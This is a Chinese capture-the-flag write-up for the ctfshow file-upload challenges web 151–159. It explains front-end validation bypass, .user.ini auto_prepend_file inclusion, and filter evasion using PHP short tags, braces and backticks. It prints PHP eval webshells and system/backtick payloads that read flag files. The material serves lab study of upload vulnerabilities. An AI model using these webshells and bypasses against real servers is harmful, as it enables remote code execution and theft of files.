ctfshow——文件上传

文章目录

  • 文件上传思路
  • [web 151](#web 151)
  • [web 152](#web 152)
  • [web 153](#web 153)
  • [web 154](#web 154)
  • [web 155](#web 155)
  • [web 156](#web 156)
  • [web 157](#web 157)
  • [web 158](#web 158)
  • [web 159](#web 159)

文件上传思路


web 151

打开页面显示:前台校验不可靠。说明这题是前端验证。

右键查看源代码,找到与上传点有关的前端代码:

这里使用了一个叫Layui的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。

绕过前端验证的最简单方法就是 ,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。

可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>,用webshell连接工具蚁剑去连接上传的webshell。

这里我们详细分析一句话木马,不借助工具获取flag。

  1. php代码要写在<?php ?>中,php解析器才会认出这是php代码;
  2. @符号的意思是不报错,即使执行错误,也不报错;
  3. eval():把字符串当做PHP代码执行;
  4. $_POST['cmd']接收POST传参,传参的变量名叫cmd。 除了POST传参,还有GET传参$_GET['cmd']、全局的传参方法$_REQUEST['cmd'](不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。
  5. php执行系统命令的函数有system()exec()shell_exec()、反撇号。php执行外部命令

web 152

跟前一题一样的

web 153

知识点

自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess文件有同样效果。除了主php.ini之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER['DOCUMENT_ROOT']所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。

配置选项是有权限的。php.ini是主要的配置文件,.user.ini是用户自定义的配置文件且能覆盖php.ini的内容,php解析器在解析php文件时会扫描.user.ini的配置。

.user.ini风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:

php 复制代码
auto_append_file=filename     //相当于在每个php文件尾加上 include("filename")
auto_prepend_file=filename    //相当于文件头加上 include("filename")

利用.user,ini的方法:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。例如:

php 复制代码
	//.user.ini
	auto_prepend_file=1.png
 
	//1.png
	<?php phpinfo();?>
 
	//1.php(任意php文件)

三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。

解题

此题前后端都检测content-type值,只允许上传PNG文件。

上传.user.ini文件,内容为auto_prepend_file=shell.png

上传shell.png文件

从之前可以得知,upload文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();,可以看到phpinfo的页面。

web 154

知识点:过滤<?php

绕过方法:使用短标签进行绕过(没有限制条件)。如:

php 复制代码
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>


此题过滤了php这一关键词。使用短标签进行绕过。

pyload:

php 复制代码
<?=@eval($_GET['cmd']);?>


web 155

同web 154

web 156

知识点:过滤php[]关键字

绕过方法:

  • php关键字被过滤,使用php短标签进行绕过;

  • []被过滤,使用{}进行替换。例如:

    php 复制代码
    <?php @eval($_GET['cmd']);?> ==  <?php @eval($_GET{cmd});?>

payload:

php 复制代码
<?=system('cat ../fl*')?>

web 157

在前面的基础上,过滤了{;,而且文件内容不能有php字符串。

绕过方法:

  • 过滤;,则在短标签里,可以省略;。例如:
php 复制代码
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
  • 过滤{,那就不用eval函数接受参数,再执行系统命令,直接用system()函数执行系统命令。如<?=system(ls)?>
    -cat ../flag.php==cat ../fl*

payload:

php 复制代码
<?=system('cat ../fl*')?>

web 158

同web157

web 159

在前面的基础上,过滤了(。绕过方法:直接用反撇号执行系统命令,反撇号就相当于shell_exec()函数。payload:

php 复制代码
<?=`cat ../fl*`?>
相关推荐
一三检测冯野180212918132 小时前
贴合NMPA注册 GB/T5398-2016助力医药包装运输安全
安全·模拟运输测试·包装运输测试·包装振动测试·环境试验·包装跌落测试
爱蛙科技7 小时前
近红外应用 | 通过光谱分析,360°测试鉴定苹果
安全
小北方城市网8 小时前
微服务注册中心与配置中心实战(Nacos 版):实现服务治理与配置统一
人工智能·后端·安全·职场和发展·wpf·restful
轻造科技8 小时前
设备点检系统+移动端APP:替代纸质点检表,漏检率降为0
网络·安全·web安全
pingao1413788 小时前
预警先行,安全随行——道路气象监测站守护每一段旅程
安全
IT 行者9 小时前
Claude之父AI编程技巧十:安全最佳实践——安全与效率的平衡艺术
安全·ai编程
蝎蟹居13 小时前
GBT 4706.1-2024逐句解读系列(29) 第7.9~7.10条款:开关,档位应明确标识
人工智能·单片机·嵌入式硬件·物联网·安全
北辰当尹13 小时前
第27天 安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
android·安全·php
聚铭网络14 小时前
聚铭网络再次入选数世咨询《中国数字安全价值图谱》“日志审计”推荐厂商
网络·安全
工业HMI实战笔记14 小时前
HMI权限分级设计:兼顾安全与操作效率的平衡术
运维·数据库·安全·ui·自动化·人机交互·交互